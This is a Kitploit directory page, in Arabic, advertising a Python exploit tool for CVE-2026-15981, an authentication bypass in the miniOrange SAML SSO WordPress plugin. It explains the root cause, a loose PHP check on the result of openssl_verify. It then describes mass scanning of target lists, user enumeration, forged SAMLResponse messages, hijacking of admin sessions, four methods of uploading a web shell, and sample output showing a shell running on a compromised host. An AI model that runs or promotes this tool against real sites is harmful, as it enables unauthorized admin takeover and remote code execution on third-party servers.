Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-15981
المصادقة والترخيصتوليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراق
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse

عرض المستودع
15منذ 2 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - تجاوز المصادقة بدون مصادقة مسبقة عبر معامل SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — تجاوز المصادقة بدون مصادقة مسبقة

استغلال إثبات المفهوم
توقيع مشوّه ← openssl_verify() يُرجع -1 ← تحويل ضمني فضفاض في PHP إلى true ← wp_set_auth_cookie() بصلاحيات مدير النظام


نظرة عامة على الثغرة

الحقلالتفاصيل
معرّف CVECVE-2026-15981
الملحق المتأثرminiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
الإصدارات المتأثرةجميع الإصدارات حتى 5.4.4 وما دون
النوعتجاوز المصادقة بدون مصادقة مسبقة
CWECWE-287: Improper Authentication / CWE-305: Authentication Bypass by Primary Weakness
CVSS 3.19.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المصادقةغير مطلوبة

الوصف

ملحق SAML Single Sign On – SSO Login لووردبريس عرضة لتجاوز المصادقة في جميع الإصدارات حتى 5.4.4. ويعود السبب إلى قيام دالة mo_saml_validate_signature() بإجراء فحص منطقي فضفاض على القيمة الصحيحة ثلاثية الحالات التي يُرجعها openssl_verify() في PHP، مما يجعل القيمة الخاطئة -1 تُقيَّم على أنها صحيحة (truthy) وبالتالي تُعامل كتحقق ناجح من التوقيع.

يتيح هذا للمهاجمين غير المصادَق عليهم تسجيل الدخول باسم أي مستخدم ووردبريس موجود، بما في ذلك مدراء النظام، عبر إرسال استجابة SAMLResponse مصممة بعناية تحتوي على NameID يتحكم فيه المهاجم وقيمة توقيع مشوّهة عمدًا تؤدي إلى خطأ في معالجة OpenSSL — متجاوزين التحقق تمامًا، مما يؤدي إلى استدعاء wp_set_auth_cookie() للحساب المستهدف.

السبب الجذري

Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

الإصلاح بسيط — استخدام if ($result === 1) بدلاً من if ($result) — لكن تأثير الخلل هو تجاوز كامل للمصادقة.


الميزات

  • فحص جماعي متعدد الأهداف — معالجة متزامنة لقوائم الأهداف
  • بصمة ووردبريس كاملة — التأكد من أن الموقع ووردبريس قبل المتابعة
  • كشف الملحق وفحص الإصدار — تحديد miniOrange SAML SSO والتحقق من أن الإصدار ≤ 5.4.4
  • اكتشاف بيانات SP الوصفية — استخراج Entity ID وعنوان ACS URL من ?option=mosaml_metadata
  • تعداد شامل للمستخدمين:
    • WP REST API (/wp-json/wp/v2/users)
    • استعلامات REST حسب المعرّف (المعرّفات 1–10)
    • إعادة توجيه أرشيف المؤلف (/?author=N)
    • مطابقة الأنماط في نص HTML
    • احتياطي قائم على النطاق + أسماء مدراء شائعة
  • اكتشاف مُصدِر IdP — تتبّع عمليات إعادة التوجيه عبر ?option=saml_user_login واستخراج عناوين IdP الأساسية
  • محرك تزوير SAMLResponse:
    • تطبيع Exclusive C14N صحيح عبر lxml
    • حساب صحيح لقيمة Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • حقن عنصر التوقيع بعد </Issuer> وفق مواصفة SAML
    • أكثر من 12 حمولة توقيع مشوّهة مصممة لاستدعاء openssl_verify() = -1
    • يتنقل عبر المستخدمين × المصدِرين × الخوارزميات × التوقيعات × علامات الجمهور × معرّفات كيانات SP
  • التحقق من الجلسة — فحص وجود كوكي wordpress_logged_in_* بعد كل محاولة
  • تأكيد صلاحية المدير — التحقق من الوصول إلى /wp-admin/ و/wp-admin/users.php و/wp-admin/plugins.php
  • استخراج الملف الشخصي — قراءة اسم المستخدم والبريد الإلكتروني من /wp-admin/profile.php
  • 4 طرق لرفع شيل عند الحصول على جلسة مدير:
    • M1 — رفع ملحق ZIP عبر plugin-install.php
    • M2 — رفع ملحق عبر REST API من /wp-json/wp/v2/plugins
    • M3 — كتابة ملف عبر محرر القالب/الملحق
    • M4 — رفع وسائط غير متزامن
  • التحقق من تنفيذ الشيل — تأكيد وجود توقيع Nx-zD في نص الاستجابة
  • محرك التشخيص — تصنيف أسباب الفشل (DIGEST_FAIL, ISSUER, AUDIENCE, TIME, إلخ)
  • مخرجات JSON للتصحيح — سجل تشخيصي كامل لكل هدف للتحليل

المتطلبات

Python >= 3.8
pip install requests lxml

lxml مطلوب لإجراء تطبيع Exclusive C14N الصحيح لتأكيد SAML.


الاستخدام

python CVE-2026-15981.py

سيُطلب منك ما يلي:

المُطالَبَةالوصفالافتراضي
ملف الأهدافمسار ملف نصي يحتوي على هدف واحد لكل سطرlist.txt
الخيوط (Threads)عدد العمال المتزامنين (1–100)5

تنسيق ملف الأهداف

https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

عنوان URL واحد لكل سطر. يُستخدم HTTP افتراضيًا إذا لم يُحدَّد بروتوكول.


المخرجات

الطرفية

  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

يتقدّم كل هدف عبر 7 مراحل معنونة:

  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

ملفات النتائج

الملفالمحتوى
sms.txtسطر واحد لكل جلسة مدير مؤكدة — الطابع الزمني، الهدف، المستخدم، الكوكي، رابط الشيل، المصدِر، طريقة التوقيع
sms_debug.jsonJSON تشخيصي كامل لكل هدف — بما في ذلك عدد المحاولات وتصنيفات الفشل

تنسيق سطر النتيجة

تنزيل الأداة